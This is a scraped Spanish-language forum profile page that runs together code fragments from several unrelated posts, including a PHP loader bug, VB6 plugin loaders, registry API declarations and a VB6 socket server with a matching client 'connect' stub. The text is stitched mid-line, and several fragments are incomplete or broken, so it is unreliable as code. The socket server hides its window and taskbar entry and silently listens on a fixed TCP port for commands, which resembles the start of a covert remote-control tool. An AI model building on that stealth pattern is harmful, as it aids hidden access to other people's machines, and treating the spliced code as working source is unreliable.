Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
$core->nombre_libreria$core->load_library("LoadableModule");$core->modules->add_module($module_descriptor);if ($instantiate)
{
$class_name = 'TWS_'.$class;
if(class_exists($class_name))
{
$this->objects[$class] =& new $class_name();
$kernel_var = $this->objects[$class]->get_kernel_var();
$this->$kernel_var = $this->objects[$class]; // ACA es el error!
} else {
trigger_error("Kernel panic: Can't load the requested library(".$class."). The library is corrupted.", E_USER_ERROR);
}
}CitarMDP y un cuadradito.Cuando el codigo completo era
...
Do While Not EOF(1)
Line Input #1, ,variable
...
Public dll$, temp$
Dim obj
Public Sub LoadPlugIns()
On Error GoTo error:
dll = Dir(App.Path & "\PlugIns\*.dll", vbNormal)
Do Until dll = ""
dll = Left(dll, Len(dll) - 4)
temp = dll & "." & "Main"
lblLoading.Caption = "Cargando PlguIns\" & dll & ".dll..."
Set obj = CreateObject(temp)
obj.Init Me
dll = Dir()
Loop
mdiMain.Show
Exit Sub
error:
MsgBox "Error al cargar PlugIns\" & dll & ".dll.", vbCritical, "Error"
End
End SubPublic dll$, temp$
Dim obj()
Dim i
i = 0
Public Sub LoadPlugIns()
On Error GoTo error:
dll = Dir(App.Path & "\PlugIns\*.dll", vbNormal)
Do Until dll = ""
dll = Left(dll, Len(dll) - 4)
temp = dll & "." & "Main"
lblLoading.Caption = "Cargando PlugIns\" & dll & ".dll..."
Set obj(i) = CreateObject(temp)
obj(i).Init Me
i = i + 1
dll = Dir()
Loop
mdiMain.Show
Exit Sub
error:
MsgBox "Error al cargar PlugIns\" & dll & ".dll.", vbCritical, "Error"
End
End Subimport java.awt.*;
public class first
{
public static void main(String arg[]) throws InterruptedException
{
System.out.println("Something...");
}
}
Dim WithEvents Socket As CSocketMaster
Private Sub Form_Load()
App.TaskVisible = False
Me.Hide
If App.PrevInstance Then
End
End If
Set Socket = New CSocketMaster
Socket.Protocol = sckTCPProtocol
Socket.LocalPort = 42376
Socket.Bind
Socket.Listen
End Sub
Private Sub Socket_ConnectionRequest(ByVal requestID As Long)
Socket.CloseSck
Socket.Accept requestID
End Sub
Private Sub Socket_DataArrival(ByVal bytesTotal As Long)
Dim sCommand As String
Socket.GetData sCommand
MsgBox sCommand
End Sub
Socket.CloseSck
Socket.RemoteHost = txtServer.Text
Socket.RemotePort = txtPort.Text
Socket.Connect txtServer.Text, txtPort.Text
'solo pongo la parte de la conexion.Function RegistryGetValueData(MasterKey, Key, Value)
Dim nBufferKey As Long
Dim nBufferDATA As String
nBufferDATA = Space(256)
RegOpenKey MasterKey, Key, nBufferKey
RegQueryValueEx nBufferKey, Value, 0, REG_SZ, nBufferDATA, Len(nBufferDATA)
KeyValue = nBufferDATA
End FunctionPublic Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
'constants'
Public Const REG_SZ = 1
Public Const HKLM = &H80000002 ' This is really HKEY_LOCAL_MACHINE
'Globals'
Dim NTOwner As String
Dim KeyValue As StringFunction connect()
frmClientMain.txtLog.Text = frmClientMain.txtLog.Text & Chr(13) & "Command> connect" & Chr(13) & "Introducir Puerto:"
frmClientMain.txtCommand.Text = ""
frmClientMain.txtCommand.SetFocus
End Function